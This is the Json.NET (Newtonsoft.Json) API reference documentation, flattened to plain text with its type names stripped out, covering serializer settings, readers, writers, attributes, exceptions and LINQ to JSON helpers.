Gets or sets a value indicating whether null items are allowed in the collection. true if null items are allowed in the collection; otherwise, false. Initializes a new instance of the class. Initializes a new instance of the class with a flag indicating whether the array can contain null items. A flag indicating whether the array can contain null items. Initializes a new instance of the class with the specified container Id. The container Id. Instructs the to use the specified constructor when deserializing that object. Instructs the how to serialize the object. Gets or sets the id. The id. Gets or sets the title. The title. Gets or sets the description. The description. Gets or sets the collection's items converter. The collection's items converter. The parameter list to use when constructing the described by . If null, the default constructor is used. When non-null, there must be a constructor defined in the that exactly matches the number, order, and type of these parameters. [JsonContainer(ItemConverterType = typeof(MyContainerConverter), ItemConverterParameters = new object[] { 123, "Four" })] Gets or sets the of the . The of the . The parameter list to use when constructing the described by . If null, the default constructor is used. When non-null, there must be a constructor defined in the that exactly matches the number, order, and type of these parameters. [JsonContainer(NamingStrategyType = typeof(MyNamingStrategy), NamingStrategyParameters = new object[] { 123, "Four" })] Gets or sets a value that indicates whether to preserve object references. true to keep object reference; otherwise, false. The default is false. Gets or sets a value that indicates whether to preserve collection's items references. true to keep collection's items object references; otherwise, false. The default is false. Gets or sets the reference loop handling used when serializing the collection's items. The reference loop handling. Gets or sets the type name handling used when serializing the collection's items. The type name handling. Initializes a new instance of the class. Initializes a new instance of the class with the specified container Id. The container Id. Provides methods for converting between .NET types and JSON types. Gets or sets a function that creates default . Default settings are automatically used by serialization methods on , and and on . To serialize without using any default settings create a with . Represents JavaScript's boolean value true as a string. This field is read-only. Represents JavaScript's boolean value false as a string. This field is read-only. Represents JavaScript's null as a string. This field is read-only. Represents JavaScript's undefined as a string. This field is read-only. Represents JavaScript's positive infinity as a string. This field is read-only. Represents JavaScript's negative infinity as a string. This field is read-only. Represents JavaScript's NaN as a string. This field is read-only. Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation using the specified. The value to convert. The format the date will be converted to. The time zone handling when the date is converted to a string. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. The string delimiter character. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. The string delimiter character. The string escape handling. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Serializes the specified object to a JSON string. The object to serialize. A JSON string representation of the object. Serializes the specified object to a JSON string using formatting. The object to serialize. Indicates how the output should be formatted. A JSON string representation of the object. Serializes the specified object to a JSON string using a collection of . The object to serialize. A collection of converters used while serializing. A JSON string representation of the object. Serializes the specified object to a JSON string using formatting and a collection of . The object to serialize. Indicates how the output should be formatted. A collection of converters used while serializing. A JSON string representation of the object. Serializes the specified object to a JSON string using . The object to serialize. The used to serialize the object. If this is null, default serialization settings will be used. A JSON string representation of the object. Serializes the specified object to a JSON string using a type, formatting and . The object to serialize. The used to serialize the object. If this is null, default serialization settings will be used. The type of the value being serialized. This parameter is used when is to write out the type name if the type of the value does not match. Specifying the type is optional. A JSON string representation of the object. Serializes the specified object to a JSON string using formatting and . The object to serialize. Indicates how the output should be formatted. The used to serialize the object. If this is null, default serialization settings will be used. A JSON string representation of the object. Serializes the specified object to a JSON string using a type, formatting and . The object to serialize. Indicates how the output should be formatted. The used to serialize the object. If this is null, default serialization settings will be used. The type of the value being serialized. This parameter is used when is to write out the type name if the type of the value does not match. Specifying the type is optional. A JSON string representation of the object. Deserializes the JSON to a .NET object. The JSON to deserialize. The deserialized object from the JSON string. Deserializes the JSON to a .NET object using . The JSON to deserialize. The used to deserialize the object. If this is null, default serialization settings will be used. The deserialized object from the JSON string. Deserializes the JSON to the specified .NET type. The JSON to deserialize. The of object being deserialized. The deserialized object from the JSON string. Deserializes the JSON to the specified .NET type. The type of the object to deserialize to. The JSON to deserialize. The deserialized object from the JSON string. Deserializes the JSON to the given anonymous type. The anonymous type to deserialize to. This can't be specified traditionally and must be inferred from the anonymous type passed as a parameter. The JSON to deserialize. The anonymous type object. The deserialized anonymous type from the JSON string. Deserializes the JSON to the given anonymous type using . The anonymous type to deserialize to. This can't be specified traditionally and must be inferred from the anonymous type passed as a parameter. The JSON to deserialize. The anonymous type object. The used to deserialize the object. If this is null, default serialization settings will be used. The deserialized anonymous type from the JSON string. Deserializes the JSON to the specified .NET type using a collection of . The type of the object to deserialize to. The JSON to deserialize. Converters to use while deserializing. The deserialized object from the JSON string. Deserializes the JSON to the specified .NET type using . The type of the object to deserialize to. The object to deserialize. The used to deserialize the object. If this is null, default serialization settings will be used. The deserialized object from the JSON string. Deserializes the JSON to the specified .NET type using a collection of . The JSON to deserialize. The type of the object to deserialize. Converters to use while deserializing. The deserialized object from the JSON string. Deserializes the JSON to the specified .NET type using . The JSON to deserialize. The type of the object to deserialize to. The used to deserialize the object. If this is null, default serialization settings will be used. The deserialized object from the JSON string. Populates the object with values from the JSON string. The JSON to populate values from. The target object to populate values onto. Populates the object with values from the JSON string using . The JSON to populate values from. The target object to populate values onto. The used to deserialize the object. If this is null, default serialization settings will be used. Serializes the to a JSON string. The node to serialize. A JSON string of the . Serializes the to a JSON string using formatting. The node to serialize. Indicates how the output should be formatted. A JSON string of the . Serializes the to a JSON string using formatting and omits the root object if is true. The node to serialize. Indicates how the output should be formatted. Omits writing the root object. A JSON string of the . Deserializes the from a JSON string. The JSON string. The deserialized . Deserializes the from a JSON string nested in a root element specified by . The JSON string. The name of the root element to append when deserializing. The deserialized . Deserializes the from a JSON string nested in a root element specified by and writes a Json.NET array attribute for collections. The JSON string. The name of the root element to append when deserializing. A value to indicate whether to write the Json.NET array attribute. This attribute helps preserve arrays when converting the written XML back to JSON. The deserialized . Deserializes the from a JSON string nested in a root element specified by , writes a Json.NET array attribute for collections, and encodes special characters. The JSON string. The name of the root element to append when deserializing. A value to indicate whether to write the Json.NET array attribute. This attribute helps preserve arrays when converting the written XML back to JSON. A value to indicate whether to encode special characters when converting JSON to XML. If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify XML namespaces, attributes or processing directives. Instead special characters are encoded and written as part of the XML element name. The deserialized . Converts an object to and from JSON. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Gets a value indicating whether this can read JSON. true if this can read JSON; otherwise, false. Gets a value indicating whether this can write JSON. true if this can write JSON; otherwise, false. Converts an object to and from JSON. The object type to convert. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. If there is no existing value then null will be used. The existing value has a value. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Instructs the to use the specified when serializing the member or class. Gets the of the . The of the . The parameter list to use when constructing the described by . If null, the default constructor is used. Initializes a new instance of the class. Type of the . Initializes a new instance of the class. Type of the . Parameter list to use when constructing the . Can be null. Represents a collection of . Instructs the how to serialize the collection. Initializes a new instance of the class. Initializes a new instance of the class with the specified container Id. The container Id. The exception thrown when an error occurs during JSON serialization or deserialization. Initializes a new instance of the class. Initializes a new instance of the class with a specified error message. The error message that explains the reason for the exception. Initializes a new instance of the class with a specified error message and a reference to the inner exception that is the cause of this exception. The error message that explains the reason for the exception. The exception that is the cause of the current exception, or null if no inner exception is specified. Initializes a new instance of the class. The that holds the serialized object data about the exception being thrown. The that contains contextual information about the source or destination. The parameter is null. The class name is null or is zero (0). Instructs the to deserialize properties with no matching class member into the specified collection and write values during serialization. Gets or sets a value that indicates whether to write extension data when serializing the object. true to write extension data when serializing the object; otherwise, false. The default is true. Gets or sets a value that indicates whether to read extension data when deserializing the object. true to read extension data when deserializing the object; otherwise, false. The default is true. Initializes a new instance of the class. Instructs the not to serialize the public field or public read/write property value. Base class for a table of atomized string objects. Gets a string containing the same characters as the specified range of characters in the given array. The character array containing the name to find. The zero-based index into the array specifying the first character of the name. The number of characters in the name. A string containing the same characters as the specified range of characters in the given array. Instructs the how to serialize the object. Gets or sets the member serialization. The member serialization. Gets or sets the missing member handling used when deserializing this object. The missing member handling. Gets or sets how the object's properties with null values are handled during serialization and deserialization. How the object's properties with null values are handled during serialization and deserialization. Gets or sets a value that indicates whether the object's properties are required. A value indicating whether the object's properties are required. Initializes a new instance of the class. Initializes a new instance of the class with the specified member serialization. The member serialization. Initializes a new instance of the class with the specified container Id. The container Id. Instructs the to always serialize the member with the specified name. Gets or sets the type used when serializing the property's collection items. The collection's items type. The parameter list to use when constructing the described by . If null, the default constructor is used. When non-null, there must be a constructor defined in the that exactly matches the number, order, and type of these parameters. [JsonProperty(ItemConverterType = typeof(MyContainerConverter), ItemConverterParameters = new object[] { 123, "Four" })] Gets or sets the of the . The of the . The parameter list to use when constructing the described by . If null, the default constructor is used. When non-null, there must be a constructor defined in the that exactly matches the number, order, and type of these parameters. [JsonProperty(NamingStrategyType = typeof(MyNamingStrategy), NamingStrategyParameters = new object[] { 123, "Four" })] Gets or sets the null value handling used when serializing this property. The null value handling. Gets or sets the default value handling used when serializing this property. The default value handling. Gets or sets the reference loop handling used when serializing this property. The reference loop handling. Gets or sets the object creation handling used when deserializing this property. The object creation handling. Gets or sets the type name handling used when serializing this property. The type name handling. Gets or sets whether this property's value is serialized as a reference. Whether this property's value is serialized as a reference. Gets or sets the order of serialization of a member. The numeric order of serialization. Gets or sets a value indicating whether this property is required. A value indicating whether this property is required. Gets or sets the name of the property. The name of the property. Gets or sets the reference loop handling used when serializing the property's collection items. The collection's items reference loop handling. Gets or sets the type name handling used when serializing the property's collection items. The collection's items type name handling. Gets or sets whether this property's collection items are serialized as a reference. Whether this property's collection items are serialized as a reference. Initializes a new instance of the class. Initializes a new instance of the class with the specified name. Name of the property. Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data. Specifies the state of the reader. A read method has not been called. The end of the file has been reached successfully. Reader is at a property. Reader is at the start of an object. Reader is in an object. Reader is at the start of an array. Reader is in an array. The method has been called. Reader has just read a value. Reader is at the start of a constructor. Reader is in a constructor. An error occurred that prevents the read operation from continuing. The end of the file has been reached successfully. Gets the current reader state. The current reader state. Gets or sets a value indicating whether the source should be closed when this reader is closed. true to close the source when this reader is closed; otherwise false. The default is true. Gets or sets a value indicating whether multiple pieces of JSON content can be read from a continuous stream without erroring. true to support reading multiple pieces of JSON content; otherwise false. The default is false. Gets the quotation mark character used to enclose the value of a string. Gets or sets how time zones are handled when reading JSON. Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. Gets or sets how custom date formatted strings are parsed when reading JSON. Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . A null value means there is no maximum. The default value is 128. Gets the type of the current JSON token. Gets the text value of the current JSON token. Gets the .NET type for the current JSON token. Gets the depth of the current token in the JSON document. The depth of the current token in the JSON document. Gets the path of the current JSON token. Gets or sets the culture used when reading JSON. Defaults to . Initializes a new instance of the class. Reads the next JSON token from the source. true if the next token was read successfully; false if there are no more tokens to read. Reads the next JSON token from the source as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the source as a . A . This method will return null at the end of an array. Reads the next JSON token from the source as a []. A [] or null if the next JSON token is null. This method will return null at the end of an array. Reads the next JSON token from the source as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the source as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the source as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the source as a of . A of . This method will return null at the end of an array. Skips the children of the current token. Sets the current token. The new token. Sets the current token and value. The new token. The value. Sets the current token and value. The new token. The value. A flag indicating whether the position index inside an array should be updated. Sets the state based on current token type. Releases unmanaged and - optionally - managed resources. true to release both managed and unmanaged resources; false to release only unmanaged resources. Changes the reader's state to . If is set to true, the source is also closed. The exception thrown when an error occurs while reading JSON text. Gets the line number indicating where the error occurred. The line number indicating where the error occurred. Gets the line position indicating where the error occurred. The line position indicating where the error occurred. Gets the path to the JSON where the error occurred. The path to the JSON where the error occurred. Initializes a new instance of the class. Initializes a new instance of the class with a specified error message. The error message that explains the reason for the exception. Initializes a new instance of the class with a specified error message and a reference to the inner exception that is the cause of this exception. The error message that explains the reason for the exception. The exception that is the cause of the current exception, or null if no inner exception is specified. Initializes a new instance of the class. The that holds the serialized object data about the exception being thrown. The that contains contextual information about the source or destination. The parameter is null. The class name is null or is zero (0). Initializes a new instance of the class with a specified error message, JSON path, line number, line position, and a reference to the inner exception that is the cause of this exception. The error message that explains the reason for the exception. The path to the JSON where the error occurred. The line number indicating where the error occurred. The line position indicating where the error occurred. The exception that is the cause of the current exception, or null if no inner exception is specified. Instructs the to always serialize the member, and to require that the member has a value. The exception thrown when an error occurs during JSON serialization or deserialization. Gets the line number indicating where the error occurred. The line number indicating where the error occurred. Gets the line position indicating where the error occurred. The line position indicating where the error occurred. Gets the path to the JSON where the error occurred. The path to the JSON where the error occurred. Initializes a new instance of the class. Initializes a new instance of the class with a specified error message. The error message that explains the reason for the exception. Initializes a new instance of the class with a specified error message and a reference to the inner exception that is the cause of this exception. The error message that explains the reason for the exception. The exception that is the cause of the current exception, or null if no inner exception is specified. Initializes a new instance of the class. The that holds the serialized object data about the exception being thrown. The that contains contextual information about the source or destination. The parameter is null. The class name is null or is zero (0). Initializes a new instance of the class with a specified error message, JSON path, line number, line position, and a reference to the inner exception that is the cause of this exception. The error message that explains the reason for the exception. The path to the JSON where the error occurred. The line number indicating where the error occurred. The line position indicating where the error occurred. The exception that is the cause of the current exception, or null if no inner exception is specified. Serializes and deserializes objects into and from the JSON format. The enables you to control how objects are encoded into JSON. Occurs when the errors during serialization and deserialization. Gets or sets the used by the serializer when resolving references. Gets or sets the used by the serializer when resolving type names. Gets or sets the used by the serializer when resolving type names. Gets or sets the used by the serializer when writing trace messages. The trace writer. Gets or sets the equality comparer used by the serializer when comparing references. The equality comparer. Gets or sets how type name writing and reading is handled by the serializer. The default value is . should be used with caution when your application deserializes JSON from an external source. Incoming types should be validated with a custom when deserializing with a value other than . Gets or sets how a type name assembly is written and resolved by the serializer. The default value is . The type name assembly format. Gets or sets how a type name assembly is written and resolved by the serializer. The default value is . The type name assembly format. Gets or sets how object references are preserved by the serializer. The default value is . Gets or sets how reference loops (e.g. a class referencing itself) is handled. The default value is . Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization. The default value is . Gets or sets how null values are handled during serialization and deserialization. The default value is . Gets or sets how default values are handled during serialization and deserialization. The default value is . Gets or sets how objects are created during deserialization. The default value is . The object creation handling. Gets or sets how constructors are used during deserialization. The default value is . The constructor handling. Gets or sets how metadata properties are used during deserialization. The default value is . The metadata properties handling. Gets a collection that will be used during serialization. Collection that will be used during serialization. Gets or sets the contract resolver used by the serializer when serializing .NET objects to JSON and vice versa. Gets or sets the used by the serializer when invoking serialization callback methods. The context. Indicates how JSON text output is formatted. The default value is . Gets or sets how dates are written to JSON text. The default value is . Gets or sets how time zones are handled during serialization and deserialization. The default value is . Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. The default value is . Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. The default value is . Gets or sets how special floating point numbers, e.g. , and , are written as JSON text. The default value is . Gets or sets how strings are escaped when writing JSON text. The default value is . Gets or sets how and values are formatted when writing JSON text, and the expected date format when reading JSON text. The default value is "yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK". Gets or sets the culture used when reading JSON. The default value is . Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . A null value means there is no maximum. The default value is 128. Gets a value indicating whether there will be a check for additional JSON content after deserializing an object. The default value is false. true if there will be a check for additional JSON content after deserializing an object; otherwise, false. Initializes a new instance of the class. Creates a new instance. The will not use default settings from . A new instance. The will not use default settings from . Creates a new instance using the specified . The will not use default settings from . The settings to be applied to the . A new instance using the specified . The will not use default settings from . Creates a new instance. The will use default settings from . A new instance. The will use default settings from . Creates a new instance using the specified . The will use default settings from as well as the specified . The settings to be applied to the . A new instance using the specified . The will use default settings from as well as the specified . Populates the JSON values onto the target object. The that contains the JSON structure to read values from. The target object to populate values onto. Populates the JSON values onto the target object. The that contains the JSON structure to read values from. The target object to populate values onto. Deserializes the JSON structure contained by the specified . The that contains the JSON structure to deserialize. The being deserialized. Deserializes the JSON structure contained by the specified into an instance of the specified type. The containing the object. The of object being deserialized. The instance of being deserialized. Deserializes the JSON structure contained by the specified into an instance of the specified type. The containing the object. The type of the object to deserialize. The instance of being deserialized. Deserializes the JSON structure contained by the specified into an instance of the specified type. The containing the object. The of object being deserialized. The instance of being deserialized. Serializes the specified and writes the JSON structure using the specified . The used to write the JSON structure. The to serialize. Serializes the specified and writes the JSON structure using the specified . The used to write the JSON structure. The to serialize. The type of the value being serialized. This parameter is used when is to write out the type name if the type of the value does not match. Specifying the type is optional. Serializes the specified and writes the JSON structure using the specified . The used to write the JSON structure. The to serialize. The type of the value being serialized. This parameter is used when is Auto to write out the type name if the type of the value does not match. Specifying the type is optional. Serializes the specified and writes the JSON structure using the specified . The used to write the JSON structure. The to serialize. Specifies the settings on a object. Gets or sets how reference loops (e.g. a class referencing itself) are handled. The default value is . Reference loop handling. Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization. The default value is . Missing member handling. Gets or sets how objects are created during deserialization. The default value is . The object creation handling. Gets or sets how null values are handled during serialization and deserialization. The default value is . Null value handling. Gets or sets how default values are handled during serialization and deserialization. The default value is . The default value handling. Gets or sets a collection that will be used during serialization. The converters. Gets or sets how object references are preserved by the serializer. The default value is . The preserve references handling. Gets or sets how type name writing and reading is handled by the serializer. The default value is . should be used with caution when your application deserializes JSON from an external source. Incoming types should be validated with a custom when deserializing with a value other than . The type name handling. Gets or sets how metadata properties are used during deserialization. The default value is . The metadata properties handling. Gets or sets how a type name assembly is written and resolved by the serializer. The default value is . The type name assembly format. Gets or sets how a type name assembly is written and resolved by the serializer. The default value is . The type name assembly format. Gets or sets how constructors are used during deserialization. The default value is . The constructor handling. Gets or sets the contract resolver used by the serializer when serializing .NET objects to JSON and vice versa. The contract resolver. Gets or sets the equality comparer used by the serializer when comparing references. The equality comparer. Gets or sets the used by the serializer when resolving references. The reference resolver. Gets or sets a function that creates the used by the serializer when resolving references. A function that creates the used by the serializer when resolving references. Gets or sets the used by the serializer when writing trace messages. The trace writer. Gets or sets the used by the serializer when resolving type names. The binder. Gets or sets the used by the serializer when resolving type names. The binder. Gets or sets the error handler called during serialization and deserialization. The error handler called during serialization and deserialization. Gets or sets the used by the serializer when invoking serialization callback methods. The context. Gets or sets how and values are formatted when writing JSON text, and the expected date format when reading JSON text. The default value is "yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK". Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . A null value means there is no maximum. The default value is 128. Indicates how JSON text output is formatted. The default value is . Gets or sets how dates are written to JSON text. The default value is . Gets or sets how time zones are handled during serialization and deserialization. The default value is . Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. The default value is . Gets or sets how special floating point numbers, e.g. , and , are written as JSON. The default value is . Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. The default value is . Gets or sets how strings are escaped when writing JSON text. The default value is . Gets or sets the culture used when reading JSON. The default value is . Gets a value indicating whether there will be a check for additional content after deserializing an object. The default value is false. true if there will be a check for additional content after deserializing an object; otherwise, false. Initializes a new instance of the class. Represents a reader that provides fast, non-cached, forward-only access to JSON text data. Initializes a new instance of the class with the specified . The containing the JSON data to read. Gets or sets the reader's property name table. Gets or sets the reader's character buffer pool. Reads the next JSON token from the underlying . true if the next token was read successfully; false if there are no more tokens to read. Reads the next JSON token from the underlying as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the underlying as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the underlying as a . A . This method will return null at the end of an array. Reads the next JSON token from the underlying as a []. A [] or null if the next JSON token is null. This method will return null at the end of an array. Reads the next JSON token from the underlying as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the underlying as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the underlying as a of . A of . This method will return null at the end of an array. Changes the reader's state to . If is set to true, the underlying is also closed. Gets a value indicating whether the class can return line information. true if and can be provided; otherwise, false. Gets the current line number. The current line number or 0 if no line information is available (for example, returns false). Gets the current line position. The current line position or 0 if no line information is available (for example, returns false). Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. Gets or sets the writer's character array pool. Gets or sets how many s to write for each level in the hierarchy when is set to . Gets or sets which character to use to quote attribute values. Gets or sets which character to use for indenting when is set to . Gets or sets a value indicating whether object names will be surrounded with quotes. Initializes a new instance of the class using the specified . The to write to. Flushes whatever is in the buffer to the underlying and also flushes the underlying . Closes this writer. If is set to true, the underlying is also closed. If is set to true, the JSON is auto-completed. Writes the beginning of a JSON object. Writes the beginning of a JSON array. Writes the start of a constructor with the given name. The name of the constructor. Writes the specified end token. The end token to write. Writes the property name of a name/value pair on a JSON object. The name of the property. Writes the property name of a name/value pair on a JSON object. The name of the property. A flag to indicate whether the text should be escaped when it is written as a JSON property name. Writes indent characters. Writes the JSON value delimiter. Writes an indent space. Writes a value. An error will raised if the value cannot be written as a single JSON token. The value to write. Writes a null value. Writes an undefined value. Writes raw JSON. The raw JSON to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a of value. The of value to write. Writes a value. The value to write. Writes a of value. The of value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a [] value. The [] value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a comment /*...*/ containing the specified text. Text to place inside the comment. Writes the given white space. The string of white space characters. Specifies the type of JSON token. This is returned by the if a read method has not been called. An object start token. An array start token. A constructor start token. An object property name. A comment. Raw JSON. An integer. A float. A string. A boolean. A null token. An undefined token. An object end token. An array end token. A constructor end token. A Date. Byte data. Represents a reader that provides validation. JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. Sets an event handler for receiving schema validation errors. Gets the text value of the current JSON token. Gets the depth of the current token in the JSON document. The depth of the current token in the JSON document. Gets the path of the current JSON token. Gets the quotation mark character used to enclose the value of a string. Gets the type of the current JSON token. Gets the .NET type for the current JSON token. Initializes a new instance of the class that validates the content returned from the given . The to read from while validating. Gets or sets the schema. The schema. Gets the used to construct this . The specified in the constructor. Changes the reader's state to . If is set to true, the underlying is also closed. Reads the next JSON token from the underlying as a of . A of . Reads the next JSON token from the underlying as a []. A [] or null if the next JSON token is null. Reads the next JSON token from the underlying as a of . A of . Reads the next JSON token from the underlying as a of . A of . Reads the next JSON token from the underlying as a of . A of . Reads the next JSON token from the underlying as a . A . This method will return null at the end of an array. Reads the next JSON token from the underlying as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the underlying . true if the next token was read successfully; false if there are no more tokens to read. Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. Gets or sets a value indicating whether the destination should be closed when this writer is closed. true to close the destination when this writer is closed; otherwise false. The default is true. Gets or sets a value indicating whether the JSON should be auto-completed when this writer is closed. true to auto-complete the JSON when this writer is closed; otherwise false. The default is true. Gets the top. The top. Gets the state of the writer. Gets the path of the writer. Gets or sets a value indicating how JSON text output should be formatted. Gets or sets how dates are written to JSON text. Gets or sets how time zones are handled when writing JSON text. Gets or sets how strings are escaped when writing JSON text. Gets or sets how special floating point numbers, e.g. , and , are written to JSON text. Gets or sets how and values are formatted when writing JSON text. Gets or sets the culture used when writing JSON. Defaults to . Initializes a new instance of the class. Flushes whatever is in the buffer to the destination and also flushes the destination. Closes this writer. If is set to true, the destination is also closed. If is set to true, the JSON is auto-completed. Writes the beginning of a JSON object. Writes the end of a JSON object. Writes the beginning of a JSON array. Writes the end of an array. Writes the start of a constructor with the given name. The name of the constructor. Writes the end constructor. Writes the property name of a name/value pair of a JSON object. The name of the property. Writes the property name of a name/value pair of a JSON object. The name of the property. A flag to indicate whether the text should be escaped when it is written as a JSON property name. Writes the end of the current JSON object or array. Writes the current token and its children. The to read the token from. Writes the current token. The to read the token from. A flag indicating whether the current token's children should be written. Writes the token and its value. The to write. The value to write. A value is only required for tokens that have an associated value, e.g. the property name for . null can be passed to the method for tokens that don't have a value, e.g. . Writes the token. The to write. Writes the specified end token. The end token to write. Writes indent characters. Writes the JSON value delimiter. Writes an indent space. Writes a null value. Writes an undefined value. Writes raw JSON without changing the writer's state. The raw JSON to write. Writes raw JSON where a value is expected and updates the writer's state. The raw JSON to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a [] value. The [] value to write. Writes a value. The value to write. Writes a value. An error will raised if the value cannot be written as a single JSON token. The value to write. Writes a comment /*...*/ containing the specified text. Text to place inside the comment. Writes the given white space. The string of white space characters. Releases unmanaged and - optionally - managed resources. true to release both managed and unmanaged resources; false to release only unmanaged resources. Sets the state of the . The being written. The value being written. The exception thrown when an error occurs while writing JSON text. Gets the path to the JSON where the error occurred. The path to the JSON where the error occurred. Initializes a new instance of the class. Initializes a new instance of the class with a specified error message. The error message that explains the reason for the exception. Initializes a new instance of the class with a specified error message and a reference to the inner exception that is the cause of this exception. The error message that explains the reason for the exception. The exception that is the cause of the current exception, or null if no inner exception is specified. Initializes a new instance of the class. The that holds the serialized object data about the exception being thrown. The that contains contextual information about the source or destination. The parameter is null. The class name is null or is zero (0). Initializes a new instance of the class with a specified error message, JSON path and a reference to the inner exception that is the cause of this exception. The error message that explains the reason for the exception. The path to the JSON where the error occurred. The exception that is the cause of the current exception, or null if no inner exception is specified. Specifies how JSON comments are handled when loading JSON. Ignore comments. Load comments as a with type . Specifies how duplicate property names are handled when loading JSON. Replace the existing value when there is a duplicate property. The value of the last property in the JSON object will be used. Ignore the new value when there is a duplicate property. The value of the first property in the JSON object will be used. Throw a when a duplicate property is encountered. Contains the LINQ to JSON extension methods. Returns a collection of tokens that contains the ancestors of every token in the source collection. The type of the objects in source, constrained to . An of that contains the source collection. An of that contains the ancestors of every token in the source collection. Returns a collection of tokens that contains every token in the source collection, and the ancestors of every token in the source collection. The type of the objects in source, constrained to . An of that contains the source collection. An of that contains every token in the source collection, the ancestors of every token in the source collection. Returns a collection of tokens that contains the descendants of every token in the source collection. The type of the objects in source, constrained to . An of that contains the source collection. An of that contains the descendants of every token in the source collection. Returns a collection of tokens that contains every token in the source collection, and the descendants of every token in the source collection. The type of the objects in source, constrained to . An of that contains the source collection. An of that contains every token in the source collection, and the descendants of every token in the source collection. Returns a collection of child properties of every object in the source collection. An of that contains the source collection. An of that contains the properties of every object in the source collection. Returns a collection of child values of every object in the source collection with the given key. An of that contains the source collection. The token key. An of that contains the values of every token in the source collection with the given key. Returns a collection of child values of every object in the source collection. An of that contains the source collection. An of that contains the values of every token in the source collection. Returns a collection of converted child values of every object in the source collection with the given key. The type to convert the values to. An of that contains the source collection. The token key. An that contains the converted values of every token in the source collection with the given key. Returns a collection of converted child values of every object in the source collection. The type to convert the values to. An of that contains the source collection. An that contains the converted values of every token in the source collection. Converts the value. The type to convert the value to. A cast as a of . A converted value. Converts the value. The source collection type. The type to convert the value to. A cast as a of . A converted value. Returns a collection of child tokens of every array in the source collection. The source collection type. An of that contains the source collection. An of that contains the values of every token in the source collection. Returns a collection of converted child tokens of every array in the source collection. An of that contains the source collection. The type to convert the values to. The source collection type. An that contains the converted values of every token in the source collection. Returns the input typed as . An of that contains the source collection. The input typed as . Returns the input typed as . The source collection type. An of that contains the source collection. The input typed as . Represents a collection of objects. The type of token. Gets the of with the specified key. Represents a JSON array. Gets the container's 